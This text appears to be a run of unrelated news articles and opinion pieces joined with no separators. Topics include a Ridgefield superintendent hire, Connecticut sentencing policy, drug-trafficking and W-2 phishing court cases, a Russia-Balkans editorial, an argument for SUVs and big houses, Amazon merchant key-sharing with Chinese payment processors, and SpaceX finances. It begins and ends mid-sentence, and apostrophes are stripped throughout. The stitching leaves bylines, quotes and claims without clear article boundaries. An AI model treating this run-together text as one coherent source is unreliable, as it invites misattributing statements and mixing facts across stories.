officials said. The bipartisan coalition of state legislators and local elected officials hope that coordinating their efforts will help land more resources to the city in the next budget cycle. Were here all to work as a team, were not here to point fingers at each other, Boughton said. Were thankful for the things we do accomplish and when it doesnt get accomplished, we regroup and go at it again next year. zach.murdock @hearstmediact.com The North Central College Master Land Use Plan, which was publicly updated in 2010 and subsequently incorporated into the citys master use plans, anticipated the possibility the Little Friends property would someday be available for purchase. According to the plan, in the event that Little Friends chooses to relocate to facilities that are better suited to its mission, the college may be in a position to help facilitate such a move by purchasing the current Little Friends site for a college use that is compatible with the adjacent properties. Ridgefield has a permanent superintendent once again. Dr. William Collins, the former superintendent of Newington Public Schools, was hired Tuesday. He will take over the job from Interim Superintendent Dr. JeanAnn Paddyfote on Feb. 19. A self-professed local history enthusiast, Collins started working as a bus driver back in his teen years. I drove a school bus and I drove a tour bus to put myself through college, Collins, 56, told The Press during an interview Monday, Dec. 17. He kept his license over the years, and it ended up coming in handy. Newington owns its own fleet, so before a snow day I would actually take a bus out and check the roads, he said with a chuckle. The Ridgefield Board of Education voted to appoint Collins as superintendent of Ridgefield Public Schools during a special meeting Tuesday night. He is coming out of retirement to take the job, which means the schools will not have to hire a second interim superintendent to finish out the 2018-19 school year. Prior to coming to Ridgefield, Collins served as the Newington district superintendent from July 2009 to June 2018. Before that role, he served as a principal at Newington High School from 2004 to 2009, and as principal of Naugatuck High School from 2001 to 2004. He also taught as an assistant professor in the Central Connecticut State University graduate business program from 1997 to 2005. From 1987 to 1997, Collins worked as a classroom teacher, first at Springfield High School in Springfield, Vt., and then in Windham Public Schools in Willimantic. He beat out nine other candidates to earn the top job in Ridgefields education system. In April, the vacant superintendents post was budgeted for $233,303 a year. Collins salary was not available last night. Reaching out In an interview, Collins spoke candidly about the problems facing the district. Chief among them are concerns about the integrity of the highest-paid employee in town after the previous permanent superintendent, Dr. Karen Baldwin, resigned amid allegations that she plagiarized portions of a letter sent home to parents following the school shooting in Parkland, Fla. I cant do anything about the past, so all I can do is moving forward, listen to people Collins said. I think the key here is going to be getting people to understand they have a venue to either voice concerns or just vent. Under his administration, he plans to set up regular meetings at each of the schools for parents and members of the public to show up and talk about what issues concern them. You cant fix a problem you dont know what it is, Collins said. Facebook He acknowledged the challenge of combating misinformation on Facebook. Im certainly not going to get a Facebook account and go on Facebook and start talking to people that I cant do, Collins said. While he was the superintendent of Newington, Collins hosted a monthly talk show produced by students and that aired on local television. The program took live calls and gave Collins an opportunity to answer questions. He suggested he might revive the program at Ridgefield High School, which has a studio. When I spoke to people in Newington who worked with Dr. Collins, integrity was one of those words that every single one brought up, said board Chairwoman Margaret Stamatis. Start times While parents and other members of the community who were surveyed as part of the superintendent search said that integrity is key in a candidate, a number also reportedly brought up transparency around the issue of later school start times. On Dec. 10, the board voted to rescind its previous vote to start schools later beginning with the 2019-20 school year. While the vote effectively leaves start times at status quo for the foreseeable future, several parents have still raised concerns about students getting less sleep than they need. Collins signaled some support for a later start. I think it has to be done in a way thats not as controversial, that doesnt divide the community, said Collins. Stamatis said that start times was never intended to be a magic pill to solve the problem of student sleep. Budget pressures As Collins will be taking over as superintendent after JeanAnn Paddyfote presents the annual school budget to the board on Jan. 14, hell essentially inherit the budget process from her. That includes the states perpetual financial woes. Youre at the the states mercy with what theyre going to give you, so you have to be prepared for that, Collins said. He said he tends to like to get a year ahead with expenditures, so that spending on school equipment occurs later in the year. So if a school music department needs new keyboards, the superintendents office will hold off on ordering them until the end of the year so if something happens, youll have a little breathing room, Collins said. When Collins comes on, hell inherit a high-performing district with an annual budget of $95 million for the 2018-19 school year. But despite high achievement, Ridgefield spends less than any other district in its District Reference Group (DRG) the economic classification used by the state to determine funding. Ridgefield spends $17,961 per student, compared to the state average of $16,564 per student. Wilton, the next-highest spender in Ridgefields DRG spends $19,865 per student. A high-performing district only stays a high-performing district intentionally, said Collins. He said he will publish an annual improvement plan for each individual school as part of that process. I want to make sure that the results were getting are on purpose. If theyre not as good, and we predicted that, then OK, the process is working. Thats the only way you stay high performing. Im ready to roll up my sleeves and start working with people. The following editorial appears on Bloomberg Opinion: For the Balkan states of the former Yugoslavia, this should be a time of optimism. Montenegro has become the 29th member of NATO. The Republic of Macedonia is working toward ending a years-long dispute with Greece over its official name. Peace talks on the future of Kosovo are moving ahead, albeit fitfully. And Bosnia has held a national election unmarred by the kind of rioting that happened in 2014. To Vladimir Putin, however, all this is unwelcome news, reflecting as it does a stabilization of the Balkans and a strengthening of its ties with Western Europe. The Russian president considers Western nations' embrace of the Balkans to be part of an effort to encircle Russia and deprive it of its place as a world power. Thus, Moscow is making every effort to get in the way. Just days before the Bosnian elections, for instance, Putin held a highly publicized meeting in Russia with Milorad Dodik, a leader of the separatist movement among Bosnian ethnic Serbs who is under U.S. sanctions, helping Dodik win one of three presidential seats. In Montenegro, the Russian hacking group Fancy Bear (a key player in Moscow's meddling with the 2016 U.S. presidential election) reportedly attempted a cyberattack against the defense ministry. In Serbia, Russia established a supposed humanitarian-relief center that the U.S. warns is cover for an espionage operation. And in Macedonia's name referendum, a Russian disinformation campaign helped depress participation, which ended up too low to make the vote binding. Such actions create problems for Europe as well as the Balkans, because they destabilize the continent's southeastern flank. Top EU officials worry that there could be a return to the wars of the 1990s. Yet Europe has inadvertently strengthened Russia's influence by keeping the Balkan states in limbo over EU membership. Serbia and Montenegro could join as early as 2025, but European leaders seem in no hurry to act. French President Emmanuel Macron recently said that any prospects of EU enlargement should be put off indefinitely until there is "a deepening and better functioning of the European Union." President Donald Trump only made matters worse earlier this year when he called Montenegrins "very aggressive" people and questioned whether the U.S. would defend the NATO member from invasion. Europe should instead assure Serbia and Montenegro that their EU applications are back on track, provided they undertake needed reforms against government corruption. Both the EU and NATO should see that Macedonia, too, is put on a path for membership once its dispute with Greece is resolved. The EU could encourage the peace talks between Serbia and Kosovo by helping resolve disagreement over a controversial new import tax, and perhaps also financially backing a fund for the reconciliation process, as it did for Northern Ireland. And Europe could invest in efforts to counter Russian propaganda and fight government corruption, as the U.S. did with a $7 million package last year. NATO, in particular, could share with Balkan states its growing anti-hacking expertise, and conduct large-scale military and disaster-relief exercises with not just Montenegro but also non-member nations. Finally, it's hard to overstate the importance of official visits by high-ranking European and U.S. officials. In combating Russian propaganda, every bit of moral support from the West goes a long way. To continue their progress toward peace and stability, the Balkans need assurances that Europe and the U.S. won't leave them vulnerable to Putin's manipulations. HARTFORD The Sentencing Commission Wednesday voted to once again get behind any bill that would restore voting rights to parolees, who are still serving their sentences. The commission also backed the measure last year but it never came up for a vote in either the House or Senate. Outgoing Department of Corrections Commissioner Scott Semple, who is also a Sentencing Commission member, said allowing parolees to vote is an important step in their return to a normal and productive life. The bill didnt receive much attention last year in the midst of the budget crisis that dominated most of the session, but it was a priority for the Black and Puerto Rican Caucus. A deal was brokered to let them debate the bill for a limit period of time in the House last year, but it never got called for vote. Currently, someone on probation can have their voting rights restored, but someone on parole cannot. The bill would have given the estimated 4,600 individuals on parole the right to vote. Proponents of passing legislation point out that Connecticut is the last state on the east coast to pass legislation restoring voting rights for this population. Seventeen states have passed similar legislation to restore voting rights for parolees. While the Sentencing Commission voted to once again get behind the parolee voting rights bill, it backed off its earlier plan to push for a bill to study whether all people incarcerated should be allowed to vote. The commissions vice chairman, John Santa, said the decision to back off the recommendation came after receiving a letter, and having subsequent discussions with Secretary of the State Denise Merrill. Merrills letter, Santa said, expressed concern that the Sentencing Commission might be overstepping its reach on the issue and that it is the Secretary of the States office that should be dictating most policy on voting rights. Perhaps it is time for us to step aside, at least on this one part of the issue, Santa said, though he added that Merrill made it clear she welcomed the commissions input on voting matters. Although he went along with his fellow Sentencing Commission members, former New Haven state Rep. William Dyson said he felt it was an important part of the commissions role to advocate for issues it believes in including voting rights. We need to be a part of whatever takes place, Dyson said, adding the notion of voter suppression hasnt escaped any of us. In other action taken by the Sentencing Commission in its last meeting before the General Assembly convenes the 2019 session, the commission said it would once again be recommend a bill to reduce misdemeanor sentences from 365 days to 364 days in an effort to stem deportations. That one day would give federal immigration judges more discretion in deportation hearings. The one-day reduction in sentencing, recommended by the Sentencing Commission last year, made it through the legislatures Judiciary Committee, but didnt make it through the full General Assembly. Hopefully we have a good chance to get it through this year, said Alex Tsarkov, executive director of the Sentencing Commission. At a public hearing held earlier this month, the Sentencing Commission was urged by advocates to once again support the bill. Advocates told the commission that shaving one day off the misdemeanor sentences would lower the chance that immigrants convicted of lower level crimes, such as passing a bad check or minor larceny charges, would face interaction with United States Immigration and Customs Enforcement, or ICE, agents.Thats because a one-year misdemeanor sentence in Connecticut is classified by federal authorities as an aggravated felony and can mean deportation. Samantha Smith, a law student intern at the Yale Law School, told the commission that several other states have recognized the law is unjust and have adopted the 364-day rule. She cited California, Nevada, Washington and Oregon as states that have made the change. The Sentencing Commission also, as it did last year, said it would ask the legislature to draw up legislation to move Connecticut from a conviction-based sex offender registry to a risk-based registry. Connecticut is one of the few states that does not currently allow an individual an opportunity to be removed from its sex offender registry. The commission is proposing having all sex offenders register, but the length of time on the registry would be reduced based on whether they meet certain requirements. Many people say it is crazy that people need two eight-passenger SUVs or pickup trucks that are able to carry six people and two-tons of stuff. They say the goal of affluent wealth should not be the 5000 square foot home. Those are 50+ year trends. Those are the reality of the US, Australia and Canada markets. Complaints can be made about people not needing SUVs. Maybe the electric cars eventually win completely. But GM is shutting down passenger car factories. Ford and GM, Fiat are all going more to SUVs and passenger trucks. Tesla will make electric SUVs and electric passenger trucks. Ford 150 to 450 series trucks crush the sales of the most popular passenger cars. Go ahead and tell people they dont want them or dont need them. They wont talk about it with you. But look at their driveway, into their garages or at parking lots around the Costco. The general belief of environmentally aware people is that people should just want small cars or public transportation and not SUVs, Trucks and big houses. The same people tend to turn their nose up at things like business and marketing. This willful ignorance results in things like the Soviet planned economy and Ladas. You could watch the Ford, GM and other car dealerships. What are people driving off of the lot? What did they just lay down $40,000 to 100,000 to buy? What did they just lease for three to five years? Tell people they do not need bigger houses. Over 40 years, the average square footage of homes is about double. Go ahead become a developer and make small shelters or tiny apartments. You will go bankrupt trying to move those things. City Living Even the high rises and skyscrapers in Hong Kong, Shanghai and other cities in Asia are trending to larger condos and apartments. If you want smaller places, then you have to support building codes for high-rises. You have to be against two-story limits in residential areas. You have to be against 6 or 8 story limits in parts of San Francisco. Smaller unit living has successful market examples in New York, Hong Kong, Budapest, Tokyo, and Taipei. The first two or three floors are shops and restaurants. You have to be able to go down the elevator and get all of your groceries, restaurants and everything in the same block or at most one block away. You do not have a big truck to go to Costco because you can buy better and cheaper at a pocket Trader Joes. You barely use your refrigerator. A valid analysis and question is can those successful markets, lifestyles and products be replicated or ported to other cities and markets? Making Money and Making Sense It has to be more affordable and better for the people living there. There has to be the demand and the lifestyle and economics has to attract the people. It has to more profitable for the developer to invest and change the existing housing stock. The zoning change has to provide a big boost to density. The developer has to be able to buy six one-sixth of an acre residential properties or twelve or eighteen and then make something 5 or 8 stories tall. You will not be able to shock the market with a massive drop in unit size. This would mean limiting your customers to Millenials who cannot afford a bigger place. Not everyone who is living in single-family detached would want to switch to a small condo. If they did they would be living in New York already. Changing how people live is a real estate and city planning problem. I have done real estate on a small scale. I have lived in Hong Kong and Taipei. I lived in the suburbs of Canada and the USA. I have traveled around the world to many cities. Changing what people drive is a public transportation and automotive marketing problem. Changing the cities of the world and shifting people to different cars, transportation and houses is not a dictate of what people should be doing. If you do not understand real estate and all the ugly business-side, then you are following the path to the failed Soviet planned economy or the failed housing projects in the USA. Plans and societal change cannot willfully deny what people want. This results in offering and forcing things based only upon what you would ideally think they should have. Customer surveys, market studies, and focus groups are used for a reason. Companies spend billions working out product plans because if they make a mistake in reading the customers then they lose billions. You have to understand the system which is the reality in which you exist. Business, property development, marketing, and zoning all matter. You also have to know who your customer is and you have to understand your customer. You will not take people from A to Z, if you do not get your A right and no one follows you to B. Not Just Capitalism VS Socialism VS Communism It not just capitalism versus socialism versus communism. Capitalism has a bunch of processes, tools, and procedures that work better. There is data-driven decision making at every part of the processes. There are a product and program development processes. They start with customer research and surveys. There is testing all along the way. You do not assume you know. You ask and you test. Even the most experienced can still make mistakes with these processes. Think about New Coke. They had testing and surveys and they still screwed up. There is A-B Market testing. You have two versions and they one key difference. You then see which is preferred. The premise that people should not want SUVs and Trucks and should not want big houses is starting off with a position that you know better than the customer. It is starting with a declaration that you will ignore the reality of the entire market. It is broadcasting that you are willfully clueless. You are not just clueless. You have chosen to be clueless and living in a bubble of cluelessness. You are avoiding 99% of reality and evidence in current reality and in history which is screaming that your position is clueless. Your position is almost to the point of believing in unicorns and rainbow fairies. Why is there no starting conversations between business people and many environmentalists? The environmental solutions tend to not accept any part of business reality. I recognize environmental issues and science. I have some understanding of the grid, utilities, power plants, business, politics, transportation, and industry. I do not know everything but I actively seek out the major forces and issues. I test my understanding and ideas all the time. Forcing People to Do What They Do Not Want is Not Sustainable It was not bad luck that the Soviet system collapsed. China did not just stumble upon success after switching from communism to a capitalist system led by what is still called the Communist party. It was not just Russia not having hard currency to pay back debt for food to the British that brought the system down. Listening to the customer and giving them what they want is more complicated. They are not just slogans. Selling and sales can be dirty but they have important functions and utility. You want to get people to do things that you want, then you have to sell them on it. They have to want to do it. People can be forced to do things for a time, but it is not sustainable. Data is now essentially the lifeblood of todays modern industries. Not only does it provide insights for effective decision-making but it can also be used to predict and influence consumer and user behavior. Companies like Amazon and Netflix, for instance, use big data and analytics to better understand their customers in order to create products and services that generate more sales and repeat business. However, in the wrong hands, data can also be used for shady purposes. The Facebook and Cambridge Analytica scandal showed how data misuse could have history-defining consequences. Profiles generated from personal data can be used to promote political views and sell ideologies that are influential enough to determine the outcome of national elections. Speaking of Amazon, the US-based e-commerce giant may just be involved in a brewing data debacle that could rival Facebooks in terms of magnitude. Chinese payment processors are found to be requiring partner Amazon merchants to commit practices that expose customer and financial information. Given the growing tensions caused by US-China trade war, a data scandal involving Amazon and China could have global ramifications as well. Another Mess in the Making Amazon merchants looking to conduct business in China need to partner with Chinese payment processors such as LianLian Pay and Pingpong. As such, merchants have to integrate with these payment systems in order to streamline order management and fulfillment. What raises suspicion, however, are claims that these payment processors are asking merchants to provide their Amazon Marketplace Web Service (MWS) secret keys. According to MWS developer guidelines, this isnt the proper way to integrate systems. There are mechanisms provided by MWSs application programming interface (API) for merchants to provide access to their data to third-party developers securely and without having to give out secret keys. Secret keys provide unrestricted access to a sellers data on Amazon including information such as customer shipping data , and bank and credit card information. Sellers do not have access to customer bank and credit card information. Accordingly, they cannot share information they do not have. Considering that these payment processors may have been given access to secret keys, it is possible that customer data has already been exposed. Pingpong, for example, has processed more than $1 billion in US payments. Given that Amazon sellers are these processors principal users, their possession of merchants secret keys essentially gives them access to a goldmine of data involving US customers. Potential Risk to Users The leak of such information can be damaging across several levels. Customers whose data have been exposed may now be at risk of identity theft and fraud. Personal and financial information can be sold quite profitably in the global black market. Once in the hands of cybercriminals, the information can be used for other hacking activities including gaining access to other services that use the stolen information or defrauding other businesses using financial data. Information such as order and transaction histories could also provide insight into users preferences and behavior allowing malicious actors to use psychology and manipulation to influence views and perception much like how data from Facebook and Cambridge Analytica were used to promote certain political views. Tensions Rising What could raise even more concern is that these issues are emerging in the midst of US and Chinas trade war. The US took a hardline stance in its drive to bring back businesses and jobs onshore by imposing tariffs on Chinese products. US also claims that China has long been engaging in unfair business practices. The Asian giant m however, responded with its own moves against US products. The claims of Chinese manipulation can be observed even on e-commerce platforms like Amazon. Chinese merchants have brought in goods that are being sold at factory prices against which US merchants simply cant quite compete. The proliferation of Chinese scammers and counterfeiters are also upsetting the balance of the marketplace and undercutting US intellectual property holders. Whether there are larger forces at play remains to be seen but there have already been numerous efforts to disrupt US organizations through cyberattacks that originate from China. The recent massive data breach on Marriott hotel guest database that stole half a billion records is suspected to be a state-sponsored attack by the Chinese. Better Protection Needed These threats to data shouldnt be taken lightly. Not by anyone. More people are shifting their day-to-day activities to digital and online, relying on services like Amazon to address their consumer needs. Companies, especially influential industry giants like Amazon, should exert even more effort to secure all aspects of their ecosystems. Otherwise, malicious actors could freely exploit weak links, steal data, and potentially perform acts that threaten even the most casual of users. This is a bit lengthy, but I wanted to explain why I have confidence in my financial analysis of SpaceX. I believe I have created a crude but justified proforma forensic financial analysis of SpaceX and their Starlink business. It is crude but is at a far more instructive level of detail than most other analysis that I have seen in Bloomberg, Forbes or the Wall Street Journal. I think it is at the right level for useful analysis, conclusions and insights. Most other analysis does not incorporate the impact of reusability at all. A proforma financial statement is one based on upon certain assumptions and projections. Financial forensics is the specialty practice area of accounting that describes engagements that result from actual or anticipated disputes or litigation. The forensics involves dissecting statements, the business and the company for accounting and financial truth. Corporate Finance Bootcamp is Where I Developed a Skill of at-a-Glance Financial Intuition Several paragraphs describe the corporate finance Bootcamp part of my work career. I worked in Corporate Finance at $50+ billion revenue companies for over ten years. It was in healthcare, biotech, finance and semiconductor companies. I was forced to develop the skill of scanning financial statements, financial reports and executive strategic planning decks for errors at a glance. The CFO, CEO and the board would be looking at these documents. I was responsible for systems that gathered results from regional or departmental finance. If the wrong numbers went out then people like me would get fired. I could not allow numbers that did not make sense to be passed higher up. No matter what the source of the error was. I had to look at 50-200 charts and slides of financials and proof them in one to several hours. Then the reports went out to meetings with the CFO, CEO and the board. VPs of Finance, EVPs were buzzing around wanting to get their story and numbers right. I would support regional and department finance people and determine from a dozen possible inputs areas what was not entered or calculated correctly. There would be many questions about some wrong numbers. Some typical answers were -you copied default numbers in on input screen 5 and did not put actuals in or you did not trend it correctly. I was under extreme pressure to give the right answer in minutes. The finance execs were working nights and weekends to hit deadlines. I am done with describing the crucible that I went through to get some of the skills that I am applying. SpaceX and Elon Musk I have run my SpaceX calculations by a guy who closely analyzes Ukrainian and other aerospace firms. He was at GE in corporate finance and Healthcare Finance. His feedback was that I was assuming the most favorable efficiency for SpaceX. Yes, I am assuming the most favorable efficiency, but I believe this is how SpaceX has sold the funding to their investors. The cost of satellite development will be coming from admin and research and development overhead. Yes, this is a deduction but it makes sense based upon the evidence of what is public. The 12 month budget up to Sept 2018 was released publicly for SpaceX funding and financing talks. They had $2.5 billion in revenue with $270 million in profit but the profit included pre-payment deposits for future launches. Without deposits, they were at breakeven after admin, R&D etc SpaceX did talk about raising $750 million in loans. This would have been a safer financial strategy. But Elon does not play it safe. He created Paypal etc He knows finance at a high level. Elon knows what the safer moves are. I have an article on what I believe about Elons personality. The song The Man is more useful than the 60 minutes interview in understanding Elon. I think Elon thinks he can get to meaningful risk reduction, higher valuation or even all the way to 800 satellites with $500 million. I have some experience in startups and fundraising. I took a Stanford extension course from a practicing Venture Capitalist. I have spreadsheet models that the Venture capitalists believe is acceptable for a funding pitch. I think Elon thinks with 3 reuses of the first stage instead of the Sept-2017 to Sept 2018 at most one reuse that he will have more profit in 2019 ($200M-300M per year). Plus he is counting on $160 million to 250 million per crewed launch four times per year starting mid-2019 and his higher value military launches. I think I am correctly modeling the logic behind his risk-taking and the nature of the gambles he is making. Maybe I am still wrong. I think I am correct in scoping the size of the risks. I think the risks are reasonable. Getting most of the way to full execution allows for a new fundraising round at a far better valuation. Hot Structures Gamble Elon also appears to be making an engineering and technical gamble on x-plane hot structures for his airframe and heat shield for the Super Heavy. This has not officially announced but Elon tweeted about heavy metal and separately about the airframe and heatshield. I believe Elon is depending on an internal SpaceX Skunkworks team to make the hot structures technology successful. The team was described in a Mars Society presentation. I do not Think My Analysis is Lining Up at Random I think the numbers line up because I have derived the correct models. I do not think it is random. I am open to considering possible errors. Besides the forensic proforma analysis, there was the journalistic detective work to find the relevant information about SpaceXs finances and business. By Brian Wang Nextbigfuture.com A 38-year-old Jamaican man and former Hamden resident was found guilty Tuesday by a federal jury in Hartford of marijuana trafficking, firearm possession and money laundering offenses. The case stemmed from an investigation begun in 2013 by Homeland Security Investigations, U.S. Postal Inspection Service and Connecticut State Police into people who were moving large amounts of marijuana from the southwestern United States to Connecticut, according to a release from U.S. Attorney John H. Durham. During the investigation, investigators intercepted four packages, each containing about eight kilograms of marijuana, from the U.S. mail, and made multiple controlled purchases of the drug from a member of the trafficking ring, officials said. Andrew Davis was arrested Feb. 1, 2017, after investigators conducted court-authorized searches of a Hamden apartment that Davis shared with his girlfriend, Shanice Goffe; a storage unit in West Haven rented in Goffes name; and two Bridgeport apartments that Davis maintained under different aliases, the release said. A search of the Hamden home revealed more than one pound of marijuana, a loaded 9 mm handgun, boxes of .45-caliber ammunition, $62,409 in cash, and numerous false identifications including a U.S. passport, all of which contained a photo of Davis, federal officials said. A search of the storage unit revealed approximately 33 kilograms of marijuana, ammunition and firearm magazines, additional false identifications and $350,100 in cash. A search of a Bridgeport apartment rented in the name of Cordel Freckleton yielded one firearm, and a search of an apartment rented in the name of Andrew Carter revealed more than 60 pounds of marijuana and two firearms, one of which was stolen, officials said in the release. Investigators also seized a 2014 BMW X6, a 2016 Honda Accord and a 2008 Honda Odyssey, all of which were registered to Goffe and had been bought with proceeds of the marijuana trafficking enterprise. The investigation further revealed that Davis, using the name Steve Williams, was under investigation in 2008 for marijuana trafficking. In August 2008, Bridgeport police conducted a search of Daviss Bridgeport apartment and discovered a fake identification, photos of Davis/Williams, three firearms, extended magazines, ammunition, drug packaging paraphernalia, marijuana packaged for resale, and eight UPS receipts for packages that had not arrived. Bridgeport police later seized the UPS packages, which contained a total of more than 75 pounds of marijuana. Williams was never found, police said. At the time of Daviss federal arrest, investigators seized more than 40 identification cards with false names, including the names of the addressees of the 2008 Bridgeport packages. When presented to U.S. Marshals and asked his name, Davis said, Lets go with Steve Williams. The jury found Davis guilty of one count of conspiracy to distribute and to possess with intent to distribute 100 kilograms or more of marijuana, an offense that carries a maximum term 40 years in prison; one count of possession with intent to distribute 50 kilograms or more of marijuana, an offense that carries a maximum term of 20 years in prison, one count of possession of firearms in furtherance of a drug trafficking crime, an offense that carries a consecutive term of at least five years in prison; and one count of conspiracy to commit money laundering, an offense that carries a maximum term of 20 years in prison. Davis is scheduled to be sentenced by U.S. District Judge Alvin W. Thompson on March 13. On Nov. 20, 2017, Goffe pleaded guilty to one count of conspiracy to distribute and to possess with intent to distribute 50 kilograms or more of marijuana and one count of conspiracy to commit money laundering. On Feb. 28, she was sentenced to 21/2 years in prison. The Bridgeport Police Department, U.S Customs and Border Patrol and the U.S. Marshals Service assited with the investigation. The case is being prosecuted by Assistant U.S. Attorney Rahul Kale. HAMDEN Gary Merwede, who had been the towns acting fire chief since October, was appointed fire chief Thursday by Mayor Curt B. Leng. Leng made the announcement in the Memorial Town Hall Rotunda, as dozens of firefighters, police personnel and others applauded the news about a longtime resident and public servant. Leng praised Merwede for being respected, intelligent, calm and kind as well as always prepared. Leng also noted he has enormous faith and extreme confidence in Merwede because of his experience and temperament. Leng cited Merwedes fierce commitment to this community. Merwede, who has been with the Hamden Fire Department since 1994, was named deputy chief in 2014. When he was appointed acting chief, it was the result of the retirement of Chief David Berardesca. Leng said Berardesca helped oversee improvements and modernization in the department. In his prepared remarks, Merwede thanked Leng for having confidence in him. To have the opportunity to serve the community where I grew up and later raised my family, and to do so working in the profession that fulfills my passion is just incredible. More News Gary Merwede appointed acting fire chief in Hamden Merwede noted he has lived in Hamden for more than 50 years, residing in many of its neighborhoods. This community is where my roots are, he added. Merwede recalled his decades working with other firefighters, paramedics, fire officers, labor leaders and four different chiefs-of-department, all of them contributing to his skill-set. He pledged to continue to supply the towns firefighters with the safest and best equipment possible. Merwede also told the crowd: The Fire Department remains committed to the team atmosphere created when we all work together, especially under the pressure of large scale events, like last springs tornado and whatever mother nature has in store for us this winter. He also addressed the Legislative Council, which will take up my appointment on their agenda in the near future. He said I have heard your message loud and clear: good communication. Responsible budgeting. Strong administration. As a stakeholder and taxpayer in Hamden, this message resonates with me. The Fire Department will maintain the public trust, our core values and our mission statement. NEW HAVEN A 36-year-old Nigerian citizen pleaded guilty Thursday before a federal judge to a conspiracy charge stemming from a scheme to obtain the personal identifying information of school employees, including some at Sacred Heart Academy in Hamden. Olukayode Ibrahim Lawal, last living in Smyrna, Georgia, pleaded guilty before U.S. District Judge Jeffrey A. Meyer in New Haven, according to a release from John H. Durham, U.S. attorney for Connecticut. According to court documents and statements made in court, special agents from the FBIs cybercrime squad in New Haven and the IRS have been investigating phishing emails sent to various school districts in Connecticut last year. In February 2017, Sacred Heart Academy in Hamden was victimized by a phishing e-mail that requested W-2 forms for its employees. Approximately 103 employee W-2 forms were compromised as a result of phishing e-mail, officials said in the release. The IRS confirmed that 33 victims had fraudulent tax returns filed electronically with the IRS, claiming refunds in the amount of $314,184. The returns were not processed because they were suspected of being fraudulent. In March 2017, an employee of the Groton Public Schools received an email that appeared to be sent by another Groton school system employee. The email contained a request to send W-2 tax information for all employees of the school system. The recipient of the email responded by sending copies of the W-2 information for approximately 1,300 Groton Public Schools employees, officials said. After the W-2 information was emailed, approximately 100 suspicious Forms 1040 were filed electronically with the IRS in the names of victims of the Groton phishing scheme. The 100 tax returns claimed refunds totaling $491,737. Approximately three of the returns were processed, and $23,543 in fraudulently obtained funds were electronically deposited into various bank accounts, according to the release. The other returns were not processed because they were suspected of being fraudulent. Lawal controlled or used certain email accounts involved in this phishing scheme, officials said. A co-conspirator of Lawal sent personal identifying information, including names and Social Security Numbers, of at least 10 employees to an email account that Lawal used. Lawal then sent the victims personal identifying information to another co-conspirator, according to the release. Lawal pleaded guilty to one count of conspiracy to commit wire fraud, an offense that carry a maximum term of imprisonment of 20 years. Meyer scheduled sentencing for March 14. Lawal entered the U.S. on a visitors visa on Nov. 24, 2016, and failed to depart on his scheduled departure date of Dec. 1, 2016. He has been detained since his arrest on May 9, officials said. This matter is being investigated by the FBI and the Internal Revenue Service, Criminal Investigation Division. The case is being prosecuted by Assistant U.S. Attorney Sarala V. Nagala. NEW HAVEN American Airlines American Eagle regional jet service between Tweed New Haven Regional Airport and Charlotte begins Saturday, giving Tweed a destination beyond Philadelphia for the first time since Delta Connection stopped flying to Cincinnati in 2006. The jet service will begin as one weekly flight in each direction, with the 7:30 a.m. flight from Charlotte-Douglas International Airport arriving at 9:20 a.m. Saturday, then departing for Charlotte at 10:11 a.m, arriving just before 12:30 p.m. Tweed officials are hoping that will soon grow into a schedule with greater frequency. Meanwhile, the initial flight has been upgraded from the 50-seat Bombardier CRJ200 aircraft that originally was scheduled to a Bombardier CRJ700 with 70-75 seats, said Tweed New Haven Airport Authority Executive Director Tim Larson and Airport Manager Jeremy Nielson. Obviously, were excited about it ... said Larson. Its going to be a new destination. It has a lot of promise for travelers ... Its a new opportunity to open that southern swing for travelers. In preparation for the new service, Tweed has rehabilitated the long-unused jet jetbridge that last was used for the Delta Connection flights, as well as the second floor waiting area for the gate that uses it. Weve upgraded the upstairs, said Larson. Were trying to enhance the passenger experience in accordance with what American wanted. Among the improvements are more TV screens and greater connectivity, including upgraded Wi-Fi, he said. American currently offers American Eagle regional jet service between Tweed (HVN) and Philadelphia International Airport (PHL,) after upgrading from turboprop service last year. The new service, to be operated by PSA Airlines, will utilize the same 50-seat Bombardier CRJ200 planes used for the Philadelphia service, officials said. Charlotte (CLT) is Americans second-largest hub, offering connections to 150 destinations, including many in Florida and the Caribbean. Connections to hundreds of additional destinations in more than 50 countries are available through Philadelphia. Tickets for the new service are available now at www.flytweed.com and www.aa.com. About 20 to 25 percent of the 1.4 million travelers within Tweeds catchment area fly to Florida or the Caribbean and Charlotte provides those destinations through the American network, Larson has said. Were excited to start the service, American spokeswoman Nichelle Tait has said. Were just really excited and happy to give you additional options. Tweed straddles the New Haven-East Haven town line and is located in both municipalities, bordering both residential and commercial neighborhoods. It is located 15 minutes from downtown New Haven. mark.zaretsky@hearstmediact.com NEW HAVEN The Science Park Development Corp. has been awarded a $200,000 state grant for the environmental assessment of the fomer Winchester Repeating Arms Co. David Silverstone, the chairman of the board of the corporation, said the plan is to bring in a developer to finish the rest of the proposed housing at the former arms manufacturer in Newhallville. Winchester Lofts, which was finished in 2015, is a $60 million conversion to 158 apartments that preserved much of the historic architecture for a large portion of the factory. The corporation had signed a deal with Forest City for the plan in 2008, just before the Great Recession delayed it for years. Silverstone said the state money would be used to determine how big a reclamation job they will face in carrying out the second phase of housing at 275 Winchester Ave. up to Mansfield Street. He said they have identified a new developer, but he would not say who it is. Silverstone said it would be a lot cheaper to tear down the remaining factory, but the corporation wants to save it using federal grants and historic tax credits. Silverstone said they failed to get money to do the actual remediation, but they will keep trying. The chairman said 80 percent of the large industrial site has been reclaimed over the years with going research businesses thriving there. The grant is part of $3.6 million in state funding announced by Gov. Dannel P. Malloy Wednesday to 11 projects in eight Connecticut municipalities to assess, remediate and revitalize blighted properties in their communities - also known as brownfields - and put them back into productive use. These projects encompass 59 acres of redevelopment, the governors office said in the release. The redevelopment of brownfields presents a huge economic potential, Malloy said in the release. Over the past eight years we have done just that, and today thousands of acres of once contaminated former industrial land and buildings have been repurposed to meet the needs of todays businesses and communities. Brownfield remediation benefits neighbors, local economies, and the environment, and this round of funding will make our cities and towns better, more vibrant places to live and work. Under this weeks round of funding announcements, a total of $2.95 million will be awarded to seven remediation and redevelopment projects. An additional $625,000 will be awarded for four assessment projects for future revitalization. All funds will be awarded through the state Department of Economic and Community Development. Since Malloy took office in 2011, state investments of approximately $206 million have supported over 234 brownfield projects across 72 municipalities, remediating 3,062 acres and leveraging approximately $3.2 billion in non-DECD funds. In addition, these investments are helping create more than 3,000 permanent and 15,000 construction jobs, according to the release. Brownfield investments like the ones we are announcing today are a central part of the states larger plan to spur economic growth at the local level, and the positive impacts are wide-ranging, DECD Commissioner Catherine Smith said in the release. They help create jobs, address contamination issues, reverse blight, support new housing development and promote transit-oriented development - just to name a few. The remediation of brownfield sites are a win not only for the economy, but the environment as well, Department of Energy and Environmental Protection Commissioner Rob Klee said. Brownfields are a wise choice for redevelopment, as they 